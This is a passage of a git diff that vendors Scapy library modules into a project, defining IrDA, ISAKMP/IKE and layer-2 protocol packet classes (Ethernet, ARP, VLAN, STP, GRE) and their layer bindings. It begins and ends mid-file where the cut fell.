packet + :raise scapy.layers.ipsec.IPSecIntegrityError: if the integrity check + fails + """ + if not isinstance(pkt, self.SUPPORTED_PROTOS): + raise TypeError('cannot decrypt %s, supported protos are %s' + % (pkt.__class__, self.SUPPORTED_PROTOS)) + + if self.proto is ESP and pkt.haslayer(ESP): + return self._decrypt_esp(pkt, verify=verify, + esn_en=esn_en, esn=esn) + elif self.proto is AH and pkt.haslayer(AH): + return self._decrypt_ah(pkt, verify=verify, esn_en=esn_en, esn=esn) + else: + raise TypeError('%s has no %s layer' % (pkt, self.proto.name)) diff --git a/libs/scapy/layers/ir.py b/libs/scapy/layers/ir.py new file mode 100755 index 0000000..da533bc --- /dev/null +++ b/libs/scapy/layers/ir.py @@ -0,0 +1,45 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +IrDA infrared data communication. +""" + +from scapy.packet import Packet, bind_layers +from scapy.fields import BitEnumField, ByteEnumField, StrField, XBitField, \ + XByteField, XIntField, XShortField +from scapy.layers.l2 import CookedLinux + + +# IR + +class IrLAPHead(Packet): + name = "IrDA Link Access Protocol Header" + fields_desc = [XBitField("Address", 0x7f, 7), + BitEnumField("Type", 1, 1, {"Response": 0, + "Command": 1})] + + +class IrLAPCommand(Packet): + name = "IrDA Link Access Protocol Command" + fields_desc = [XByteField("Control", 0), + XByteField("Format identifier", 0), + XIntField("Source address", 0), + XIntField("Destination address", 0xffffffff), + XByteField("Discovery flags", 0x1), + ByteEnumField("Slot number", 255, {"final": 255}), + XByteField("Version", 0)] + + +class IrLMP(Packet): + name = "IrDA Link Management Protocol" + fields_desc = [XShortField("Service hints", 0), + XByteField("Character set", 0), + StrField("Device name", "")] + + +bind_layers(CookedLinux, IrLAPHead, proto=23) +bind_layers(IrLAPHead, IrLAPCommand, Type=1) +bind_layers(IrLAPCommand, IrLMP,) diff --git a/libs/scapy/layers/isakmp.py b/libs/scapy/layers/isakmp.py new file mode 100755 index 0000000..fcd5a4e --- /dev/null +++ b/libs/scapy/layers/isakmp.py @@ -0,0 +1,353 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +ISAKMP (Internet Security Association and Key Management Protocol). +""" + +# Mostly based on https://tools.ietf.org/html/rfc2408 + +from __future__ import absolute_import +import struct +from scapy.config import conf +from scapy.packet import Packet, bind_bottom_up, bind_top_down, bind_layers +from scapy.compat import chb +from scapy.fields import ByteEnumField, ByteField, FieldLenField, FlagsField, \ + IntEnumField, IntField, PacketLenField, ShortEnumField, ShortField, \ + StrFixedLenField, StrLenField, XByteField +from scapy.layers.inet import IP, UDP +from scapy.sendrecv import sr +from scapy.volatile import RandString +from scapy.error import warning +from functools import reduce + +# TODO: some ISAKMP payloads are not implemented, +# and inherit a default ISAKMP_payload + + +# see http://www.iana.org/assignments/ipsec-registry for details +ISAKMPAttributeTypes = {"Encryption": (1, {"DES-CBC": 1, + "IDEA-CBC": 2, + "Blowfish-CBC": 3, + "RC5-R16-B64-CBC": 4, + "3DES-CBC": 5, + "CAST-CBC": 6, + "AES-CBC": 7, + "CAMELLIA-CBC": 8, }, 0), + "Hash": (2, {"MD5": 1, + "SHA": 2, + "Tiger": 3, + "SHA2-256": 4, + "SHA2-384": 5, + "SHA2-512": 6, }, 0), + "Authentication": (3, {"PSK": 1, + "DSS": 2, + "RSA Sig": 3, + "RSA Encryption": 4, + "RSA Encryption Revised": 5, + "ElGamal Encryption": 6, + "ElGamal Encryption Revised": 7, + "ECDSA Sig": 8, + "HybridInitRSA": 64221, + "HybridRespRSA": 64222, + "HybridInitDSS": 64223, + "HybridRespDSS": 64224, + "XAUTHInitPreShared": 65001, + "XAUTHRespPreShared": 65002, + "XAUTHInitDSS": 65003, + "XAUTHRespDSS": 65004, + "XAUTHInitRSA": 65005, + "XAUTHRespRSA": 65006, + "XAUTHInitRSAEncryption": 65007, + "XAUTHRespRSAEncryption": 65008, + "XAUTHInitRSARevisedEncryption": 65009, # noqa: E501 + "XAUTHRespRSARevisedEncryptio": 65010, }, 0), # noqa: E501 + "GroupDesc": (4, {"768MODPgr": 1, + "1024MODPgr": 2, + "EC2Ngr155": 3, + "EC2Ngr185": 4, + "1536MODPgr": 5, + "2048MODPgr": 14, + "3072MODPgr": 15, + "4096MODPgr": 16, + "6144MODPgr": 17, + "8192MODPgr": 18, }, 0), + "GroupType": (5, {"MODP": 1, + "ECP": 2, + "EC2N": 3}, 0), + "GroupPrime": (6, {}, 1), + "GroupGenerator1": (7, {}, 1), + "GroupGenerator2": (8, {}, 1), + "GroupCurveA": (9, {}, 1), + "GroupCurveB": (10, {}, 1), + "LifeType": (11, {"Seconds": 1, + "Kilobytes": 2}, 0), + "LifeDuration": (12, {}, 1), + "PRF": (13, {}, 0), + "KeyLength": (14, {}, 0), + "FieldSize": (15, {}, 0), + "GroupOrder": (16, {}, 1), + } + +# the name 'ISAKMPTransformTypes' is actually a misnomer (since the table +# holds info for all ISAKMP Attribute types, not just transforms, but we'll +# keep it for backwards compatibility... for now at least +ISAKMPTransformTypes = ISAKMPAttributeTypes + +ISAKMPTransformNum = {} +for n in ISAKMPTransformTypes: + val = ISAKMPTransformTypes[n] + tmp = {} + for e in val[1]: + tmp[val[1][e]] = e + ISAKMPTransformNum[val[0]] = (n, tmp, val[2]) +del(n) +del(e) +del(tmp) +del(val) + + +class ISAKMPTransformSetField(StrLenField): + islist = 1 + + @staticmethod + def type2num(type_val_tuple): + typ, val = type_val_tuple + type_val, enc_dict, tlv = ISAKMPTransformTypes.get(typ, (typ, {}, 0)) + val = enc_dict.get(val, val) + s = b"" + if (val & ~0xffff): + if not tlv: + warning("%r should not be TLV but is too big => using TLV encoding" % typ) # noqa: E501 + n = 0 + while val: + s = chb(val & 0xff) + s + val >>= 8 + n += 1 + val = n + else: + type_val |= 0x8000 + return struct.pack("!HH", type_val, val) + s + + @staticmethod + def num2type(typ, enc): + val = ISAKMPTransformNum.get(typ, (typ, {})) + enc = val[1].get(enc, enc) + return (val[0], enc) + + def i2m(self, pkt, i): + if i is None: + return b"" + i = [ISAKMPTransformSetField.type2num(e) for e in i] + return b"".join(i) + + def m2i(self, pkt, m): + # I try to ensure that we don't read off the end of our packet based + # on bad length fields we're provided in the packet. There are still + # conditions where struct.unpack() may not get enough packet data, but + # worst case that should result in broken attributes (which would + # be expected). (wam) + lst = [] + while len(m) >= 4: + trans_type, = struct.unpack("!H", m[:2]) + is_tlv = not (trans_type & 0x8000) + if is_tlv: + # We should probably check to make sure the attribute type we + # are looking at is allowed to have a TLV format and issue a + # warning if we're given an TLV on a basic attribute. + value_len, = struct.unpack("!H", m[2:4]) + if value_len + 4 > len(m): + warning("Bad length for ISAKMP transform type=%#6x" % trans_type) # noqa: E501 + value = m[4:4 + value_len] + value = reduce(lambda x, y: (x << 8) | y, struct.unpack("!%s" % ("B" * len(value),), value), 0) # noqa: E501 + else: + trans_type &= 0x7fff + value_len = 0 + value, = struct.unpack("!H", m[2:4]) + m = m[4 + value_len:] + lst.append(ISAKMPTransformSetField.num2type(trans_type, value)) + if len(m) > 0: + warning("Extra bytes after ISAKMP transform dissection [%r]" % m) + return lst + + +ISAKMP_payload_type = ["None", "SA", "Proposal", "Transform", "KE", "ID", + "CERT", "CR", "Hash", "SIG", "Nonce", "Notification", + "Delete", "VendorID"] + +ISAKMP_exchange_type = ["None", "base", "identity prot.", + "auth only", "aggressive", "info"] + + +class ISAKMP_class(Packet): + def guess_payload_class(self, payload): + np = self.next_payload + if np == 0: + return conf.raw_layer + elif np < len(ISAKMP_payload_type): + pt = ISAKMP_payload_type[np] + return globals().get("ISAKMP_payload_%s" % pt, ISAKMP_payload) + else: + return ISAKMP_payload + + +class ISAKMP(ISAKMP_class): # rfc2408 + name = "ISAKMP" + fields_desc = [ + StrFixedLenField("init_cookie", "", 8), + StrFixedLenField("resp_cookie", "", 8), + ByteEnumField("next_payload", 0, ISAKMP_payload_type), + XByteField("version", 0x10), + ByteEnumField("exch_type", 0, ISAKMP_exchange_type), + FlagsField("flags", 0, 8, ["encryption", "commit", "auth_only", "res3", "res4", "res5", "res6", "res7"]), # XXX use a Flag field # noqa: E501 + IntField("id", 0), + IntField("length", None) + ] + + def guess_payload_class(self, payload): + if self.flags & 1: + return conf.raw_layer + return ISAKMP_class.guess_payload_class(self, payload) + + def answers(self, other): + if isinstance(other, ISAKMP): + if other.init_cookie == self.init_cookie: + return 1 + return 0 + + def post_build(self, p, pay): + p += pay + if self.length is None: + p = p[:24] + struct.pack("!I", len(p)) + p[28:] + return p + + +class ISAKMP_payload_Transform(ISAKMP_class): + name = "IKE Transform" + fields_desc = [ + ByteEnumField("next_payload", None, ISAKMP_payload_type), + ByteField("res", 0), + # ShortField("len",None), + ShortField("length", None), + ByteField("num", None), + ByteEnumField("id", 1, {1: "KEY_IKE"}), + ShortField("res2", 0), + ISAKMPTransformSetField("transforms", None, length_from=lambda x: x.length - 8) # noqa: E501 + # XIntField("enc",0x80010005L), + # XIntField("hash",0x80020002L), + # XIntField("auth",0x80030001L), + # XIntField("group",0x80040002L), + # XIntField("life_type",0x800b0001L), + # XIntField("durationh",0x000c0004L), + # XIntField("durationl",0x00007080L), + ] + + def post_build(self, p, pay): + if self.length is None: + tmp_len = len(p) + tmp_pay = p[:2] + chb((tmp_len >> 8) & 0xff) + p = tmp_pay + chb(tmp_len & 0xff) + p[4:] + p += pay + return p + + +# https://tools.ietf.org/html/rfc2408#section-3.5 +class ISAKMP_payload_Proposal(ISAKMP_class): + name = "IKE proposal" +# ISAKMP_payload_type = 0 + fields_desc = [ + ByteEnumField("next_payload", None, ISAKMP_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "trans", "H", adjust=lambda pkt, x:x + 8), # noqa: E501 + ByteField("proposal", 1), + ByteEnumField("proto", 1, {1: "ISAKMP"}), + FieldLenField("SPIsize", None, "SPI", "B"), + ByteField("trans_nb", None), + StrLenField("SPI", "", length_from=lambda x: x.SPIsize), + PacketLenField("trans", conf.raw_layer(), ISAKMP_payload_Transform, length_from=lambda x: x.length - 8), # noqa: E501 + ] + + +class ISAKMP_payload(ISAKMP_class): + name = "ISAKMP payload" + fields_desc = [ + ByteEnumField("next_payload", None, ISAKMP_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 4), + StrLenField("load", "", length_from=lambda x:x.length - 4), + ] + + +class ISAKMP_payload_VendorID(ISAKMP_payload): + name = "ISAKMP Vendor ID" + + +class ISAKMP_payload_SA(ISAKMP_class): + name = "ISAKMP SA" + fields_desc = [ + ByteEnumField("next_payload", None, ISAKMP_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "prop", "H", adjust=lambda pkt, x:x + 12), # noqa: E501 + IntEnumField("DOI", 1, {1: "IPSEC"}), + IntEnumField("situation", 1, {1: "identity"}), + PacketLenField("prop", conf.raw_layer(), ISAKMP_payload_Proposal, length_from=lambda x: x.length - 12), # noqa: E501 + ] + + +class ISAKMP_payload_Nonce(ISAKMP_payload): + name = "ISAKMP Nonce" + + +class ISAKMP_payload_KE(ISAKMP_payload): + name = "ISAKMP Key Exchange" + + +class ISAKMP_payload_ID(ISAKMP_class): + name = "ISAKMP Identification" + fields_desc = [ + ByteEnumField("next_payload", None, ISAKMP_payload_type), + ByteField("res", 0), + FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 8), + ByteEnumField("IDtype", 1, {1: "IPv4_addr", 11: "Key"}), + ByteEnumField("ProtoID", 0, {0: "Unused"}), + ShortEnumField("Port", 0, {0: "Unused"}), + # IPField("IdentData","127.0.0.1"), + StrLenField("load", "", length_from=lambda x: x.length - 8), + ] + + +class ISAKMP_payload_Hash(ISAKMP_payload): + name = "ISAKMP Hash" + + +bind_bottom_up(UDP, ISAKMP, dport=500) +bind_bottom_up(UDP, ISAKMP, sport=500) +bind_layers(UDP, ISAKMP, dport=500, sport=500) + +# Add building bindings +# (Dissection bindings are located in ISAKMP_class.guess_payload_class) +bind_top_down(ISAKMP_class, ISAKMP_payload, next_payload=0) +bind_top_down(ISAKMP_class, ISAKMP_payload_SA, next_payload=1) +bind_top_down(ISAKMP_class, ISAKMP_payload_Proposal, next_payload=2) +bind_top_down(ISAKMP_class, ISAKMP_payload_Transform, next_payload=3) +bind_top_down(ISAKMP_class, ISAKMP_payload_KE, next_payload=4) +bind_top_down(ISAKMP_class, ISAKMP_payload_ID, next_payload=5) +# bind_top_down(ISAKMP_class, ISAKMP_payload_CERT, next_payload=6) +# bind_top_down(ISAKMP_class, ISAKMP_payload_CR, next_payload=7) +bind_top_down(ISAKMP_class, ISAKMP_payload_Hash, next_payload=8) +# bind_top_down(ISAKMP_class, ISAKMP_payload_SIG, next_payload=9) +bind_top_down(ISAKMP_class, ISAKMP_payload_Nonce, next_payload=10) +# bind_top_down(ISAKMP_class, ISAKMP_payload_Notification, next_payload=11) +# bind_top_down(ISAKMP_class, ISAKMP_payload_Delete, next_payload=12) +bind_top_down(ISAKMP_class, ISAKMP_payload_VendorID, next_payload=13) + + +def ikescan(ip): + """Sends/receives a ISAMPK payload SA with payload proposal""" + pkt = IP(dst=ip) + pkt /= UDP() + pkt /= ISAKMP(init_cookie=RandString(8), exch_type=2) + pkt /= ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) + return sr(pkt) diff --git a/libs/scapy/layers/l2.py b/libs/scapy/layers/l2.py new file mode 100755 index 0000000..cc39ed8 --- /dev/null +++ b/libs/scapy/layers/l2.py @@ -0,0 +1,812 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Classes and functions for layer 2 protocols. +""" + +from __future__ import absolute_import +from __future__ import print_function +import os +import struct +import time +import socket + +from scapy.ansmachine import AnsweringMachine +from scapy.arch import get_if_addr, get_if_hwaddr +from scapy.base_classes import Gen, Net +from scapy.compat import chb, orb +from scapy.config import conf +from scapy import consts +from scapy.data import ARPHDR_ETHER, ARPHDR_LOOPBACK, ARPHDR_METRICOM, \ + DLT_ETHERNET_MPACKET, DLT_LINUX_IRDA, DLT_LINUX_SLL, DLT_LOOP, \ + DLT_NULL, ETHER_ANY, ETHER_BROADCAST, ETHER_TYPES, ETH_P_ARP, \ + ETH_P_MACSEC +from scapy.error import warning, ScapyNoDstMacException +from scapy.fields import BCDFloatField, BitField, ByteField, \ + ConditionalField, FieldLenField, FCSField, \ + IntEnumField, IntField, IP6Field, IPField, \ + LenField, MACField, MultipleTypeField, \ + ShortEnumField, ShortField, SourceIP6Field, SourceIPField, \ + StrFixedLenField, StrLenField, X3BytesField, XByteField, XIntField, \ + XShortEnumField, XShortField +from scapy.modules.six import viewitems +from scapy.packet import bind_layers, Packet +from scapy.plist import PacketList, SndRcvList +from scapy.sendrecv import sendp, srp, srp1 +from scapy.utils import checksum, hexdump, hexstr, inet_ntoa, inet_aton, \ + mac2str, valid_mac, valid_net, valid_net6 +if conf.route is None: + # unused import, only to initialize conf.route + import scapy.route # noqa: F401 + + +################# +# Tools # +################# + + +class Neighbor: + def __init__(self): + self.resolvers = {} + + def register_l3(self, l2, l3, resolve_method): + self.resolvers[l2, l3] = resolve_method + + def resolve(self, l2inst, l3inst): + k = l2inst.__class__, l3inst.__class__ + if k in self.resolvers: + return self.resolvers[k](l2inst, l3inst) + + def __repr__(self): + return "\n".join("%-15s -> %-15s" % (l2.__name__, l3.__name__) for l2, l3 in self.resolvers) # noqa: E501 + + +conf.neighbor = Neighbor() + +conf.netcache.new_cache("arp_cache", 120) # cache entries expire after 120s + + +@conf.commands.register +def getmacbyip(ip, chainCC=0): + """Return MAC address corresponding to a given IP address""" + if isinstance(ip, Net): + ip = next(iter(ip)) + ip = inet_ntoa(inet_aton(ip or "0.0.0.0")) + tmp = [orb(e) for e in inet_aton(ip)] + if (tmp[0] & 0xf0) == 0xe0: # mcast @ + return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1] & 0x7f, tmp[2], tmp[3]) + iff, _, gw = conf.route.route(ip) + if ((iff == conf.loopback_name) or (ip == conf.route.get_if_bcast(iff))): # noqa: E501 + return "ff:ff:ff:ff:ff:ff" + if gw != "0.0.0.0": + ip = gw + + mac = conf.netcache.arp_cache.get(ip) + if mac: + return mac + + try: + res = srp1(Ether(dst=ETHER_BROADCAST) / ARP(op="who-has", pdst=ip), + type=ETH_P_ARP, + iface=iff, + timeout=2, + verbose=0, + chainCC=chainCC, + nofilter=1) + except Exception as ex: + warning("getmacbyip failed on %s" % ex) + return None + if res is not None: + mac = res.payload.hwsrc + conf.netcache.arp_cache[ip] = mac + return mac + return None + + +# Fields + +class DestMACField(MACField): + def __init__(self, name): + MACField.__init__(self, name, None) + + def i2h(self, pkt, x): + if x is None: + try: + x = conf.neighbor.resolve(pkt, pkt.payload) + except socket.error: + pass + if x is None: + if conf.raise_no_dst_mac: + raise ScapyNoDstMacException() + else: + x = "ff:ff:ff:ff:ff:ff" + warning("Mac address to reach destination not found. Using broadcast.") # noqa: E501 + return MACField.i2h(self, pkt, x) + + def i2m(self, pkt, x): + return MACField.i2m(self, pkt, self.i2h(pkt, x)) + + +class SourceMACField(MACField): + __slots__ = ["getif"] + + def __init__(self, name, getif=None): + MACField.__init__(self, name, None) + self.getif = (lambda pkt: pkt.route()[0]) if getif is None else getif + + def i2h(self, pkt, x): + if x is None: + iff = self.getif(pkt) + if iff is None: + iff = conf.iface + if iff: + try: + x = get_if_hwaddr(iff) + except Exception as e: + warning("Could not get the source MAC: %s" % e) + if x is None: + x = "00:00:00:00:00:00" + return MACField.i2h(self, pkt, x) + + def i2m(self, pkt, x): + return MACField.i2m(self, pkt, self.i2h(pkt, x)) + + +# Layers + +ETHER_TYPES['802_AD'] = 0x88a8 +ETHER_TYPES['802_1AE'] = ETH_P_MACSEC + + +class Ether(Packet): + name = "Ethernet" + fields_desc = [DestMACField("dst"), + SourceMACField("src"), + XShortEnumField("type", 0x9000, ETHER_TYPES)] + __slots__ = ["_defrag_pos"] + + def hashret(self): + return struct.pack("H", self.type) + self.payload.hashret() + + def answers(self, other): + if isinstance(other, Ether): + if self.type == other.type: + return self.payload.answers(other.payload) + return 0 + + def mysummary(self): + return self.sprintf("%src% > %dst% (%type%)") + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 14: + if struct.unpack("!H", _pkt[12:14])[0] <= 1500: + return Dot3 + return cls + + +class Dot3(Packet): + name = "802.3" + fields_desc = [DestMACField("dst"), + SourceMACField("src"), + LenField("len", None, "H")] + + def extract_padding(self, s): + tmp_len = self.len + return s[:tmp_len], s[tmp_len:] + + def answers(self, other): + if isinstance(other, Dot3): + return self.payload.answers(other.payload) + return 0 + + def mysummary(self): + return "802.3 %s > %s" % (self.src, self.dst) + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 14: + if struct.unpack("!H", _pkt[12:14])[0] > 1500: + return Ether + return cls + + +class LLC(Packet): + name = "LLC" + fields_desc = [XByteField("dsap", 0x00), + XByteField("ssap", 0x00), + ByteField("ctrl", 0)] + + +def l2_register_l3(l2, l3): + return conf.neighbor.resolve(l2, l3.payload) + + +conf.neighbor.register_l3(Ether, LLC, l2_register_l3) +conf.neighbor.register_l3(Dot3, LLC, l2_register_l3) + + +class CookedLinux(Packet): + # Documentation: http://www.tcpdump.org/linktypes/LINKTYPE_LINUX_SLL.html + name = "cooked linux" + # from wireshark's database + fields_desc = [ShortEnumField("pkttype", 0, {0: "unicast", + 1: "broadcast", + 2: "multicast", + 3: "unicast-to-another-host", + 4: "sent-by-us"}), + XShortField("lladdrtype", 512), + ShortField("lladdrlen", 0), + StrFixedLenField("src", "", 8), + XShortEnumField("proto", 0x800, ETHER_TYPES)] + + +class MPacketPreamble(Packet): + # IEEE 802.3br Figure 99-3 + name = "MPacket Preamble" + fields_desc = [StrFixedLenField("preamble", b"", length=8), + FCSField("fcs", 0, fmt="!I")] + + +class SNAP(Packet): + name = "SNAP" + fields_desc = [X3BytesField("OUI", 0x000000), + XShortEnumField("code", 0x000, ETHER_TYPES)] + + +conf.neighbor.register_l3(Dot3, SNAP, l2_register_l3) + + +class Dot1Q(Packet): + name = "802.1Q" + aliastypes = [Ether] + fields_desc = [BitField("prio", 0, 3), + BitField("id", 0, 1), + BitField("vlan", 1, 12), + XShortEnumField("type", 0x0000, ETHER_TYPES)] + + def answers(self, other): + if isinstance(other, Dot1Q): + if ((self.type == other.type) and + (self.vlan == other.vlan)): + return self.payload.answers(other.payload) + else: + return self.payload.answers(other) + return 0 + + def default_payload_class(self, pay): + if self.type <= 1500: + return LLC + return conf.raw_layer + + def extract_padding(self, s): + if self.type <= 1500: + return s[:self.type], s[self.type:] + return s, None + + def mysummary(self): + if isinstance(self.underlayer, Ether): + return self.underlayer.sprintf("802.1q %Ether.src% > %Ether.dst% (%Dot1Q.type%) vlan %Dot1Q.vlan%") # noqa: E501 + else: + return self.sprintf("802.1q (%Dot1Q.type%) vlan %Dot1Q.vlan%") + + +conf.neighbor.register_l3(Ether, Dot1Q, l2_register_l3) + + +class STP(Packet): + name = "Spanning Tree Protocol" + fields_desc = [ShortField("proto", 0), + ByteField("version", 0), + ByteField("bpdutype", 0), + ByteField("bpduflags", 0), + ShortField("rootid", 0), + MACField("rootmac", ETHER_ANY), + IntField("pathcost", 0), + ShortField("bridgeid", 0), + MACField("bridgemac", ETHER_ANY), + ShortField("portid", 0), + BCDFloatField("age", 1), + BCDFloatField("maxage", 20), + BCDFloatField("hellotime", 2), + BCDFloatField("fwddelay", 15)] + + +class ARP(Packet): + name = "ARP" + fields_desc = [ + XShortField("hwtype", 0x0001), + XShortEnumField("ptype", 0x0800, ETHER_TYPES), + FieldLenField("hwlen", None, fmt="B", length_of="hwsrc"), + FieldLenField("plen", None, fmt="B", length_of="psrc"), + ShortEnumField("op", 1, { + "who-has": 1, + "is-at": 2, + "RARP-req": 3, + "RARP-rep": 4, + "Dyn-RARP-req": 5, + "Dyn-RAR-rep": 6, + "Dyn-RARP-err": 7, + "InARP-req": 8, + "InARP-rep": 9 + }), + MultipleTypeField( + [ + (SourceMACField("hwsrc"), + (lambda pkt: pkt.hwtype == 1 and pkt.hwlen == 6, + lambda pkt, val: pkt.hwtype == 1 and ( + pkt.hwlen == 6 or (pkt.hwlen is None and + (val is None or len(val) == 6 or + valid_mac(val))) + ))), + ], + StrFixedLenField("hwsrc", None, length_from=lambda pkt: pkt.hwlen), + ), + MultipleTypeField( + [ + (SourceIPField("psrc", "pdst"), + (lambda pkt: pkt.ptype == 0x0800 and pkt.plen == 4, + lambda pkt, val: pkt.ptype == 0x0800 and ( + pkt.plen == 4 or (pkt.plen is None and + (val is None or valid_net(val))) + ))), + (SourceIP6Field("psrc", "pdst"), + (lambda pkt: pkt.ptype == 0x86dd and pkt.plen == 16, + lambda pkt, val: pkt.ptype == 0x86dd and ( + pkt.plen == 16 or (pkt.plen is None and + (val is None or valid_net6(val))) + ))), + ], + StrFixedLenField("psrc", None, length_from=lambda pkt: pkt.plen), + ), + MultipleTypeField( + [ + (MACField("hwdst", ETHER_ANY), + (lambda pkt: pkt.hwtype == 1 and pkt.hwlen == 6, + lambda pkt, val: pkt.hwtype == 1 and ( + pkt.hwlen == 6 or (pkt.hwlen is None and + (val is None or len(val) == 6 or + valid_mac(val))) + ))), + ], + StrFixedLenField("hwdst", None, length_from=lambda pkt: pkt.hwlen), + ), + MultipleTypeField( + [ + (IPField("pdst", "0.0.0.0"), + (lambda pkt: pkt.ptype == 0x0800 and pkt.plen == 4, + lambda pkt, val: pkt.ptype == 0x0800 and ( + pkt.plen == 4 or (pkt.plen is None and + (val is None or valid_net(val))) + ))), + (IP6Field("pdst", "::"), + (lambda pkt: pkt.ptype == 0x86dd and pkt.plen == 16, + lambda pkt, val: pkt.ptype == 0x86dd and ( + pkt.plen == 16 or (pkt.plen is None and + (val is None or valid_net6(val))) + ))), + ], + StrFixedLenField("pdst", None, length_from=lambda pkt: pkt.plen), + ), + ] + + def hashret(self): + return struct.pack(">HHH", self.hwtype, self.ptype, + ((self.op + 1) // 2)) + self.payload.hashret() + + def answers(self, other): + if not isinstance(other, ARP): + return False + if self.op != other.op + 1: + return False + # We use a loose comparison on psrc vs pdst to catch answers + # with ARP leaks + self_psrc = self.get_field('psrc').i2m(self, self.psrc) + other_pdst = other.get_field('pdst').i2m(other, other.pdst) + return self_psrc[:len(other_pdst)] == other_pdst[:len(self_psrc)] + + def route(self): + fld, dst = self.getfield_and_val("pdst") + fld, dst = fld._find_fld_pkt_val(self, dst) + if isinstance(dst, Gen): + dst = next(iter(dst)) + if isinstance(fld, IP6Field): + return conf.route6.route(dst) + elif isinstance(fld, IPField): + return conf.route.route(dst) + else: + return None, None, None + + def extract_padding(self, s): + return "", s + + def mysummary(self): + if self.op == 1: + return self.sprintf("ARP who has %pdst% says %psrc%") + if self.op == 2: + return self.sprintf("ARP is at %hwsrc% says %psrc%") + return self.sprintf("ARP %op% %psrc% > %pdst%") + + +def l2_register_l3_arp(l2, l3): + return getmacbyip(l3.pdst) + + +conf.neighbor.register_l3(Ether, ARP, l2_register_l3_arp) + + +class GRErouting(Packet): + name = "GRE routing information" + fields_desc = [ShortField("address_family", 0), + ByteField("SRE_offset", 0), + FieldLenField("SRE_len", None, "routing_info", "B"), + StrLenField("routing_info", "", "SRE_len"), + ] + + +class GRE(Packet): + name = "GRE" + deprecated_fields = { + "seqence_number": ("sequence_number", "2.4.4"), + } + fields_desc = [BitField("chksum_present", 0, 1), + BitField("routing_present", 0, 1), + BitField("key_present", 0, 1), + BitField("seqnum_present", 0, 1), + BitField("strict_route_source", 0, 1), + BitField("recursion_control", 0, 3), + BitField("flags", 0, 5), + BitField("version", 0, 3), + XShortEnumField("proto", 0x0000, ETHER_TYPES), + ConditionalField(XShortField("chksum", None), lambda pkt:pkt.chksum_present == 1 or pkt.routing_present == 1), # noqa: E501 + ConditionalField(XShortField("offset", None), lambda pkt:pkt.chksum_present == 1 or pkt.routing_present == 1), # noqa: E501 + ConditionalField(XIntField("key", None), lambda pkt:pkt.key_present == 1), # noqa: E501 + ConditionalField(XIntField("sequence_number", None), lambda pkt:pkt.seqnum_present == 1), # noqa: E501 + ] + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and struct.unpack("!H", _pkt[2:4])[0] == 0x880b: + return GRE_PPTP + return cls + + def post_build(self, p, pay): + p += pay + if self.chksum_present and self.chksum is None: + c = checksum(p) + p = p[:4] + chb((c >> 8) & 0xff) + chb(c & 0xff) + p[6:] + return p + + +class GRE_PPTP(GRE): + + """ + Enhanced GRE header used with PPTP + RFC 2637 + """ + + name = "GRE PPTP" + deprecated_fields = { + "seqence_number": ("sequence_number", "2.4.4"), + } + fields_desc = [BitField("chksum_present", 0, 1), + BitField("routing_present", 0, 1), + BitField("key_present", 1, 1), + BitField("seqnum_present", 0, 1), + BitField("strict_route_source", 0, 1), + BitField("recursion_control", 0, 3), + BitField("acknum_present", 0, 1), + BitField("flags", 0, 4), + BitField("version", 1, 3), + XShortEnumField("proto", 0x880b, ETHER_TYPES), + ShortField("payload_len", None), + ShortField("call_id", None), + ConditionalField(XIntField("sequence_number", None), lambda pkt: pkt.seqnum_present == 1), # noqa: E501 + ConditionalField(XIntField("ack_number", None), lambda pkt: pkt.acknum_present == 1)] # noqa: E501 + + def post_build(self, p, pay): + p += pay + if self.payload_len is None: + pay_len = len(pay) + p = p[:4] + chb((pay_len >> 8) & 0xff) + chb(pay_len & 0xff) + p[6:] # noqa: E501 + return p + + +# *BSD loopback layer + +class LoIntEnumField(IntEnumField): + + def m2i(self, pkt, x): + return x >> 24 + + def i2m(self, pkt, x): + return x << 24 + + +# https://github.com/wireshark/wireshark/blob/fe219637a6748130266a0b0278166046e60a2d68/epan/dissectors/packet-null.c +# https://www.wireshark.org/docs/wsar_html/epan/aftypes_8h.html +LOOPBACK_TYPES = {0x2: "IPv4", + 0x7: "OSI", + 0x10: "Appletalk", + 0x17: "Netware IPX/SPX", + 0x18: "IPv6", 0x1c: "IPv6", 0x1e: "IPv6"} + + +class Loopback(Packet): + r"""\*BSD loopback layer""" + + name = "Loopback" + if consts.OPENBSD: + fields_desc = [IntEnumField("type", 0x2, LOOPBACK_TYPES)] + else: + fields_desc = [LoIntEnumField("type", 0x2, LOOPBACK_TYPES)] + __slots__ = ["_defrag_pos"] + + +class Dot1AD(Dot1Q): + name = '802_1AD' + + +bind_layers(Dot3, LLC) +bind_layers(Ether, LLC, type=122) +bind_layers(Ether, LLC, type=34928) +bind_layers(Ether, Dot1Q, type=33024) +bind_layers(Ether, Dot1AD, type=0x88a8) +bind_layers(Dot1AD, Dot1AD, type=0x88a8) +bind_layers(Dot1AD, Dot1Q, type=0x8100) +bind_layers(Dot1Q, Dot1AD, type=0x88a8) +bind_layers(Ether, Ether, type=1) +bind_layers(Ether, ARP, type=2054) +bind_layers(CookedLinux, LLC, proto=122) +bind_layers(CookedLinux, Dot1Q, proto=33024) +bind_layers(CookedLinux, Dot1AD, type=0x88a8) +bind_layers(CookedLinux, Ether, proto=1) +bind_layers(CookedLinux, ARP, proto=2054) +bind_layers(MPacketPreamble, Ether) +bind_layers(GRE, LLC, proto=122) +bind_layers(GRE, Dot1Q, proto=33024) +bind_layers(GRE, Dot1AD, type=0x88a8) +bind_layers(GRE, Ether, proto=0x6558) +bind_layers(GRE, ARP, proto=2054) +bind_layers(GRE, GRErouting, {"routing_present": 1}) +bind_layers(GRErouting, conf.raw_layer, {"address_family": 0, "SRE_len": 